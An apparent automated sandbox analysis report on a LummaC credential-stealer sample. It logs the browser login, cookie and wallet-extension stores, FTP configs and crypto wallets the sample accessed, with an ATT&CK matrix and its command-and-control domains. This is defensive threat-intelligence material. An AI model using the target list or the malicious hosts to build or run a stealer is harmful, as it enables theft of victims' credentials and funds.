Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\6QLvb9i.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Directory queried: C:\Users\user\Documents\JSDNGYCOWY	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Directory queried: C:\Users\user\Documents\DVWHKMNFNN	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Directory queried: C:\Users\user\Documents\WKXEWIOTXI	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior
Source: C:\Users\user\Desktop\6QLvb9i.exe	Directory queried: C:\Users\user\Documents\ZBEDCJPBEY	Jump to behavior

Source: Yara match	File source: 00000002.00000003.1827411101.00000000030BA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1827197749.0000000003066000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1827327514.00000000030B6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 6QLvb9i.exe PID: 7448, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 6QLvb9i.exe PID: 7448, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	12 Windows Management Instrumentation	1 DLL Side-Loading	211 Process Injection	21 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Screen Capture	21 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	211 Process Injection	LSASS Memory	1 Query Registry	Remote Desktop Protocol	1 Archive Collected Data	2 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	241 Security Software Discovery	SMB/Windows Admin Shares	41 Data from Local System	113 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	21 Virtualization/Sandbox Evasion	Distributed Component Object Model	3 Clipboard Data	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	11 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	Indicator Removal from Tools	Proc Filesystem	33 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
6QLvb9i.exe	47%	Virustotal		Browse
6QLvb9i.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label
wholersorie.shop	100%	Avira URL Cloud	malware
undesirabkel.click	100%	Avira URL Cloud	malware
https://undesirabkel.click/Z	100%	Avira URL Cloud	malware
cloudewahsj.shop	100%	Avira URL Cloud	malware
noisycuttej.shop	100%	Avira URL Cloud	malware
https://undesirabkel.click/apibV7RydFqE=	100%	Avira URL Cloud	malware
rabidcowse.shop	100%	Avira URL Cloud	malware
https://undesirabkel.click/	100%	Avira URL Cloud	malware
https://undesirabkel.click/apiD	100%	Avira URL Cloud	malware
https://undesirabkel.click/api	100%	Avira URL Cloud	malware
nearycrepso.shop	100%	Avira URL Cloud	malware
https://undesirabkel.click/api6	100%	Avira URL Cloud	malware
https://undesirabkel.click/..z	100%	Avira URL Cloud	malware
tirepublicerj.shop	100%	Avira URL Cloud	malware
framekgirus.shop	100%	Avira URL Cloud	malware
https://undesirabkel.click/j	100%	Avira URL Cloud	malware
abruptyopsn.shop	100%	Avira URL Cloud	malware

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
undesirabkel.click	188.114.97.3	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
undesirabkel.click	true	Avira URL Cloud: malware	unknown
rabidcowse.shop	true	Avira URL Cloud: malware	unknown
wholersorie.shop	true	Avira URL Cloud: malware	unknown
https://undesirabkel.click/api	true	Avira URL Cloud: malware	unknown
cloudewahsj.shop	true	Avira URL Cloud: malware	unknown
noisycuttej.shop	true	Avira URL Cloud: malware	unknown
nearycrepso.shop	true	Avira URL Cloud: malware	unknown
framekgirus.shop	true	Avira URL Cloud: malware	unknown
tirepublicerj.shop	true	Avira URL Cloud: malware	unknown
abruptyopsn.shop	true	Avira URL Cloud: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	6QLvb9i.exe, 00000002.00000003.1745822876.00000000055CC000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745989548.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745901920.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	6QLvb9i.exe, 00000002.00000003.1745822876.00000000055CC000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745989548.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745901920.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	6QLvb9i.exe, 00000002.00000003.1810145038.0000000005594000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	6QLvb9i.exe, 00000002.00000003.1745822876.00000000055CC000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745989548.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745901920.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	6QLvb9i.exe, 00000002.00000003.1810145038.0000000005594000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	6QLvb9i.exe, 00000002.00000003.1745822876.00000000055CC000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745989548.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745901920.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	6QLvb9i.exe, 00000002.00000003.1808781553.00000000055C4000.00000004.00000800.00020000.00000000.sdmp	false		high
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	6QLvb9i.exe, 00000002.00000003.1810145038.0000000005594000.00000004.00000800.00020000.00000000.sdmp	false		high
https://undesirabkel.click/apibV7RydFqE=	6QLvb9i.exe, 00000002.00000003.1827327514.00000000030D3000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	6QLvb9i.exe, 00000002.00000003.1745822876.00000000055CC000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745989548.00000000055CA000.00000004.00000800.00020000.00000000.sdmp, 6QLvb9i.exe, 00000002.00000003.1745901920.00000000055CA000.00000004.00000800.00020000.00000000.sdmp	false		high
